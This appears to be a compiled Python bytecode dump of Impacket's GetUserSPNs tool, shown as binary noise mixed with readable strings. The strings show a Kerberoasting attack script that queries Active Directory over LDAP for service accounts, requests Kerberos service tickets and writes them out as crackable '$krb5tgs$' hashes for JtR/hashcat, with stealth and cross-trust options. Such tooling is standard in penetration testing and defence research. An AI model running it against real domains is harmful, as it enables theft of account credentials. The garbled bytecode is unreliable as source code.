o
    jwl                  
   @   s  d dl mZ d dl mZ d dlZd dlZd dlZd dlmZ d dlmZm	Z	 d dl
mZ d dlmZ d dlmZmZmZ d d	lmZ d d
lmZmZ d dlmZ d dlmZmZ d dlmZ d dlmZm Z  d dl!m"Z" d dl#m$Z$m%Z% d dl&m'Z'm(Z( G dd dZ)e*dkre+ej, ej-dddZ.e.j/dddd e.j/dddd e.j/dddd e.j/d d!d"d e.j/d#d!d$d%d& e.j/d'd(d) e.j/d*d!d$d+d& e.0 Z1e1j/d,dd-d.d/ e1j/d0d1d2d3 e.j/d4d!d$d5d& e.j/d6dd7d e.j/d8d!d$d9d& e.j/d:d!d;d e.j/d<d!d=d e.2d>Z3e3j/d?dd@dAd/ e3j/dBd!dCd e3j/dDd!dEd e3j/dFddGdHd/ e.2dIZ3e3j/dJddKdLd/ e3j/dMddNdOd/ e4ej5dPkr[e.6  e7dP e.8 Z9e:e9j;e9j< e9j=r{e9j>du r{e?dQ e7dP ee9j@e9jAe9jBe9jCe9jD\ZEZFZGZHZHe9_DeEdRkreIdS e7dP e9jJre9jJZKneEZKe9jLdu se9jMdurde9_Ne9jOdurde9_Pze)eFeGeEeKe9ZQeQR  W dS  eSy ZT zeU jVejWkrd dlXZXeXY  e?eZeT W Y dZT[TdS dZT[Tww dS )T    )division)print_functionN)datetime)hexlify	unhexlify)decoder)version)UF_ACCOUNTDISABLEUF_TRUSTED_FOR_DELEGATION)UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION)logger)parse_identity
ldap_login)	constants)TGS_REPAS_REP)CCache)getKerberosTGTgetKerberosTGS)	Principal)ldapldapasn1)compute_lmhashcompute_nthashc                   @   sV   e Zd Zedd Zdd Zedd Zdd Zdd
dZdd Z	dd Z
dd Zd	S )GetUserSPNsc                    s   g }t |D ]\ }t fdd| D }|t|t| qddd t |D }t|j|  tddd |D  | D ]	}t|j|  qAd S )Nc                    s   g | ]}t |  qS  )len).0rowir   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/GetUserSPNs.py
<listcomp>=   s    z*GetUserSPNs.printTable.<locals>.<listcomp> c                 S   s   g | ]
\}}d ||f qS )z	{%d:%ds} r   )r   numwidthr   r   r!   r"   @   s    z  c                 S   s   g | ]}d | qS )-r   )r   itemLenr   r   r!   r"   D       )	enumeratemaxappendr   joinprintformat)itemsheadercolLencol	rowMaxLenoutputFormatr   r   r   r!   
printTable9   s   zGetUserSPNs.printTablec                 C   s.  || _ || _|| _d | _|| _d| _d| _|j| _|j	| _
|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _ |j!| _"|j#d ur\|j#$d\| _| _| j$d}d| _%|D ]}|  j%d| 7  _%qg| j%d d | _%|| jkr| js| jrt&'d d | _d | _d S d S d S )N :.zdc=%s,zNKDC IP address and hostname will be ignored because of cross-domain targeting.)(_GetUserSPNs__username_GetUserSPNs__password_GetUserSPNs__domain_GetUserSPNs__target_GetUserSPNs__targetDomain_GetUserSPNs__lmhash_GetUserSPNs__nthash
no_preauth_GetUserSPNs__no_preauth
outputfile_GetUserSPNs__outputFileNameno_rc4_GetUserSPNs__noRC4	usersfile_GetUserSPNs__usersFileaesKey_GetUserSPNs__aesKeyk_GetUserSPNs__doKerberosrequest_GetUserSPNs__requestTGSdc_ip_GetUserSPNs__kdcIPdc_host_GetUserSPNs__kdcHostsave_GetUserSPNs__saveTGSrequest_user_GetUserSPNs__requestUserstealth_GetUserSPNs__stealthmachine_only_GetUserSPNs__machineOnlyrequest_machine_GetUserSPNs__requestMachinehashessplitbaseDNloggingwarning)selfusernamepassworduser_domaintarget_domaincmdLineOptionsdomainPartsr    r   r   r!   __init__J   sB   


zGetUserSPNs.__init__c                 C   s   | d8 } | d } | S )Nl     }*{Gi r   )tr   r   r!   getUnixTimev   s   zGetUserSPNs.getUnixTimec           
      C   sH  t | j\}}}}|d ur|S t| jtjjjd}| j	dkr{| j
dkr{| jdkr{| js{zt|d| jt| j	t| j	| j| jd\}}}}W nM tyz }	 z(tdt|	  t|| j	| jt| j
t| j| j| jd\}}}}W Y d }	~	nd }	~	ww t|| j	| jt| j
t| j| j| jd\}}}}i }||d< ||d< ||d< |S )Ntyper6   )kdcHostzTGT: %sKDC_REPcipher
sessionKey)r   	parseFiler<   r   r:   r   PrincipalNameTypeNT_PRINCIPALvaluer;   r?   r@   rF   r   r   r   rJ   rP   	Exceptionr`   debugstrr   )
rb   domain_TGTuserNametgtrp   oldSessionKeyrq   er   r   r!   getTGT|   s<   $
zGetUserSPNs.getTGTNc              
   C   s  | j rtj|t dd }n
tj|t dd }|d d d tjjjkrmdtjjj||d d |	dd	t
|d d d
 d d   t
|d d d
 dd    f }|d u rdt| n&||d  n|d d d tjjjkrdtjjj||d d |	dd	t
|d d d
 dd    t
|d d d
 d d   f }|d u rt| n||d  n|d d d tjjjkrdtjjj||d d |	dd	t
|d d d
 dd    t
|d d d
 d d   f }|d u rt| n}||d  nu|d d d tjjjkrjdtjjj||d d |	dd	t
|d d d
 d d   t
|d d d
 dd    f }|d u rbt| n(||d  n td|d d d d |d d d d |d d d f  | jdu rtd|  t }	z|	||| |	d|  W d S  ty }
 ztt|
 W Y d }
~
d S d }
~
ww d S )N)asn1Specr   ticketzenc-partetypez$krb5tgs$%d$*%s$%s$%s*$%s$%srealmr7   ~rp      
z$krb5tgs$%d$%s$%s$*%s*$%s$%siz,Skipping %s/%s due to incompatible e-type %dsnamezname-string   TzAbout to save TGS for %sz	%s.ccache)rB   r   decoder   r   r   EncryptionTypesrc4_hmacru   replacer   asOctetsr-   writeaes128_cts_hmac_sha1_96aes256_cts_hmac_sha1_96des_cbc_md5r`   errorrT   rw   r   fromTGSsaveFilerv   rx   )rb   r   r~   rq   rc   spnfd
decodedTGSentryccacher   r   r   r!   	outputTGS   st   
""
""

""


""

$zGetUserSPNs.outputTGSc           !      C   s  | j r	|   d S t| j| j| j| j| j| j| j	| j
| j| j| j| jdd}|j| _d}d}d}d}| jdu rctd d}|d	| d
 7 }|d	| d
 7 }| jd urbtd| j  |d| j 7 }nd}|d	| d
 7 }|d	| d
 7 }| jd ur|d| j 7 }| jdu rtd n|d	| d
 7 }|d
7 }ztjddd}|j|g d|gd}W n' tjy }	 z|	 ddkrtd |	 }n W Y d }	~	nd }	~	ww g }
tdt|  |D ](}t |tj!durqd}d}d}g }d}d}d}d}z|d D ]}t"|d dkrt"|d d }d}qt"|d dkr@t"|d d }t#|t$@ r5d}qt#|t%@ r>d}qt"|d d krSt"|d d }qt"|d d!krt"|d d d"krkd#}qt"t&'| (t#t"|d d }qt"|d d$krt"|d d d"krd#}qt"t&'| (t#t"|d d }qt"|d d%kr|d D ]}|)|* +d& qq|du rt#|t,@ rtd'|  n|D ]}|
)||||||g qW q t-y
 }	 zt.d(t"|	  W Y d }	~	qd }	~	ww t|
dkr| j/|
g d)d* t0d+ | j1du s1| jd us1| jd urt2d,d- |
D }| 3 }| j4d urKt5| j4d.}nd }|6 D ]g\}}|}| jd/ | }z4t7 }t8j9j:j;|_<|g|_=t>|| j
| j|d0 |d1 |d2 \}}}} | ?||| || jd3 | | W qQ t-y }	 ztjd4dd5 t.d6|t"|	f  W Y d }	~	qQd }	~	ww |d ur|@  d S d S d S t0d7 d S )8NT)rf   fqdnzservicePrincipalName=*zobjectCategory=personzobjectCategory=computerz/!(userAccountControl:1.2.840.113556.1.4.803:=2)z-machine-only flag detectedz(&()z3Including machine account (%s) in LDAP query filterz(sAMAccountName:=%s)z^Stealth option may cause huge memory consumption / out-of-memory errors on very large domains.i  )criticalitysize)servicePrincipalNamesAMAccountName
pwdLastSetMemberOfuserAccountControl	lastLogon)searchFilter
attributessearchControlssizeLimitExceededr   zNsizeLimitExceeded exception caught, giving up and processing the data receivedzTotal of records returned %dFr6   zN/Ar   rm   r   valsr   unconstrainedconstrainedmemberOfr   0z<never>r   r   zutf-8zBypassing disabled account %s z-Skipping item, cannot process due to error %s)ServicePrincipalNameNamer   PasswordLastSet	LastLogon
Delegation)r0   z

c                 s   s     | ]}|d  |d fV  qdS )r   r   Nr   )r   r   r   r   r!   	<genexpr>c  s    z"GetUserSPNs.run.<locals>.<genexpr>w+\ro   rp   rq   /
Exception:exc_infoPrincipal: %s - %szNo entries found!)ArH   request_users_file_TGSsr   r=   r_   rP   rR   rL   r:   r;   r<   r?   r@   rJ   r>   _dstHostrZ   r`   rw   r\   rV   rX   ra   r   SimplePagedResultsControlsearchr   LDAPSearchErrorgetErrorStringfind
getAnswersr   
isinstanceSearchResultEntryrx   intr
   r   r   fromtimestamprk   r+   r   r   r	   rv   r   r5   r-   rN   dictr   rD   openr/   r   r   rs   NT_MS_PRINCIPALru   rm   
componentsr   r   close)!rb   ldapConnection
filter_spnfilter_personfilter_computerfilter_not_disabledr   paged_search_controlrespr   answersitem
mustCommitr   r   SPNsr   r   r   
delegation	attributer   usersr{   r   userSPNdownLevelLogonNameprincipalNametgsrp   r~   rq   r   r   r!   run   s   :






	
((
$
$
zGetUserSPNs.runc                 C   sF   t | j}dd |D }W d    n1 sw   Y  | | d S )Nc                 S   s   g | ]}|  qS r   )strip)r   liner   r   r!   r"     r(   z7GetUserSPNs.request_users_file_TGSs.<locals>.<listcomp>)r   rH   request_multiple_TGSs)rb   fi	usernamesr   r   r!   r     s   z#GetUserSPNs.request_users_file_TGSsc                 C   s  | j d urt| j d}nd }| jrs|D ]S}z-t| jtjjjd}t|| j	| j
| j| j| j| j|dd	\}}}}| |||||| W q tyf }	 ztjddd td|t|	f  W Y d }	~	qd }	~	ww |d urq|  d S d S |  }
|D ]T}z.t }tjjj|_|g|_t|| j
| j|
d |
d	 |
d
 \}}}}| |||||| W qy ty }	 ztjddd td|t|	f  W Y d }	~	qyd }	~	ww |d ur|  d S d S )Nr   rl   T)	
clientNamerd   ry   lmhashnthashrI   rn   
serverNamekerberoast_no_preauthr   r   r   ro   rp   rq   )rD   r   rB   r   r   rs   rt   ru   r   r;   r<   r?   r@   rJ   rR   r   rv   r`   rw   r   rx   r   r   NT_ENTERPRISErm   r   r   rP   )rb   r   r   rc   no_preauth_pincipalr}   rp   r~   rq   r   r{   r   r   r   r   r!   r     s\   
	""z!GetUserSPNs.request_multiple_TGSs)N)__name__
__module____qualname__staticmethodr5   ri   rk   r   r   r   r   r   r   r   r   r!   r   8   s    
,

%J r   __main__TzDQueries target domain for SPNs that are running under a user account)add_helpdescriptiontargetstorezdomain[/username[:password]])actionhelpz-target-domainziDomain to query/request if different than the domain of the user. Allows for Kerberoasting across trusts.z-no-preauthzNaccount that does not require preauth, to obtain Service Ticket through the ASz-stealth
store_truezRemoves the (servicePrincipalName=*) filter from the LDAP query for added stealth. May cause huge memory consumption / errors on large domains.z-machine-onlyFzQueries for machine accounts only, by adjusting `objectCategory=person` to `objectCategory=computer`. Active Directory may limit results to 1,000 objects by default. LDAP paging is required to retrieve more.)r   defaultr   z
-usersfilezFile with user per line to test)r   z-requestzLRequests TGS for users and output them in JtR/hashcat format (default False)z-request-userrc   z_Requests TGS for the SPN associated to the user specified (just the username, no domain needed))r   metavarr   z-request-machinemachinenamezWRequests TGS for the SPN associated to the machine specified. Example: `workstation01$`)r   r   z-savezOSaves TGS requested to disk. Format is <username>.ccache. Auto selects -requestz-outputfilezMOutput filename to write ciphers in JtR/hashcat format. Auto selects -requestz-no-rc4z#Does not force RC4-HMAC for the TGTz-tsz'Adds timestamp to every logging output.z-debugzTurn DEBUG output ONauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)
connectionz-dc-ipz
ip addresszIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter. Ignoredif -target-domain is specified.z-dc-hosthostnamez|Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be usedr   zYou have to specify -usersfile when -no-preauth is supplied. Usersfile must contain a list of SPNs and/or sAMAccountNames to Kerberoast.r6   zuserDomain should be specified!)[
__future__r   r   argparser`   sysr   binasciir   r   pyasn1.codec.derr   impacketr   impacket.dcerpc.v5.samrr	   r
   r   impacket.examplesr   impacket.examples.utilsr   r   impacket.krb5r   impacket.krb5.asn1r   r   impacket.krb5.ccacher   impacket.krb5.kerberosv5r   r   impacket.krb5.typesr   impacket.ldapr   r   impacket.ntlmr   r   r   r   r-   BANNERArgumentParserparseradd_argumentadd_mutually_exclusive_groupexclusive_request_groupadd_argument_groupgroupr   argv
print_helpexit
parse_argsoptionsinittsrw   rA   rG   r   r   r]   no_passrI   rK   
userDomainrc   rd   rz   criticalrf   targetDomainrS   rC   rM   r[   rY   executerr   rv   r   	getLoggerlevelDEBUG	traceback	print_excrx   r   r   r   r!   <module>   s       







(


